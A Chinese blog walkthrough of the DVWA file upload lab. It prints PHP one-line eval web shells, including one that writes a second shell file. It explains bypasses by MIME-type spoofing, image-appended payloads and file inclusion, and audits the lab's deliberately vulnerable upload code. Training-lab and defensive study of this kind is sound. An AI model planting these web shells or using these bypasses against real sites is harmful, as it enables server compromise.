dvwa 文件上传漏洞通关攻略

最新推荐文章于 2024-05-07 13:34:07 发布

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最新推荐文章于 2024-05-07 13:34:07 发布

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分类专栏：靶场文章标签： web安全 dvwa

本文链接：https://blog.csdn.net/weixin_70137901/article/details/134448436

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dvwa 文件上传漏洞通关攻略

文章目录

dvwa 文件上传漏洞通关攻略

练习文件上传漏洞的攻击与防御

low等级

在这里插入图片描述
点击文件上传进行测试上传个一句话木马

<?php
@eval($_REQUEST[777]);
 ?>

在这里插入图片描述
上传成功

访问上传路径

进行蚁剑连接

代码审计


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

直接将文件从缓存目录换到了hackable/uploads下没有做任何防御

medium

在这里插入图片描述
进行文件上传测试上传一句话木马文件

发现只能上传JPEG或者是PNG抓包进行重放进行黑盒测试

修改一下文件类型，忽悠一下系统

发现上传成功访问一下

用密码进行访问

代码审计


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //将上传的文件名和要保存的地址进行了拼接

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];   //取到了文件类型
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && //对文件类型进行过滤
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

可以看到就对上传的文件类型进行了过滤

high

在这里插入图片描述
上传文件进行测试

抓包进行重放

尝试修改一下文件类型

发现被过滤掉了修改一下后缀名

可以看到还是不行我们上传一张真图片测试一下这个上传图片的功能是否正常

在这里插入图片描述
发现上传成功了进入重发面板尝试在照片后面加个一句话木马

发现上传成功了

但是无法执行命令因为是尝试上传一个变形的一句话木马

<?php file_put_contents('yjh.php','<?php @eval($_REQUEST[666]) ?>')  ?>

在这里插入图片描述
利用文件包含漏洞执行图片里的php语句

可以看到图片以二进制的方式读出来，那么他就会在当前目录下生成一个yjh.php我们进行访问

用蚁剑进行连接

连接成功.
代码审计

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //过滤后缀名
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&  //对图片后缀名进行过滤
        ( $uploaded_size < 100000 ) &&  
        getimagesize( $uploaded_tmp ) ) {  //检测图片信息但是getimagesize只检测头部

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

对文件的后缀名和文件头部的内容进行过滤

impossible

代码审计

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  //检测token值防止重放


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);//获取后缀名
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext )  == 'png' ) && //将所有字符都转换成大小写进行过滤
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&//对文件类型进行过滤
        getimagesize( $uploaded_tmp ) ) {  //检测头部信息

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp ); //进行二次渲染根据上传的图像再次创建一个图像
            imagepng( $img, $temp_file, 9);  //输入图像到浏览器
        }
        imagedestroy( $img ); //关闭资源

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { //进行重命名
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

完全防御对token进行了判断对后缀名文件类型进行了检测又检测了头部信息对文件进行了二次渲染，又一次对文件进行重命名，最后过unlink是删除缓冲区的文件 unlink是有竞争条件漏洞的只要在没来的及删除的情况一直发送包，文件就会被保存下来但是在本次是无法突破的
想让绕过二次渲染需要将木马插入到头部
但是 getimagesize又是用来检测头部信息的，所以说做到了防御
但是这个防御也不是不能被绕过在检测头部和二次渲染之间有一段空白的区域是可以插入一句话木马的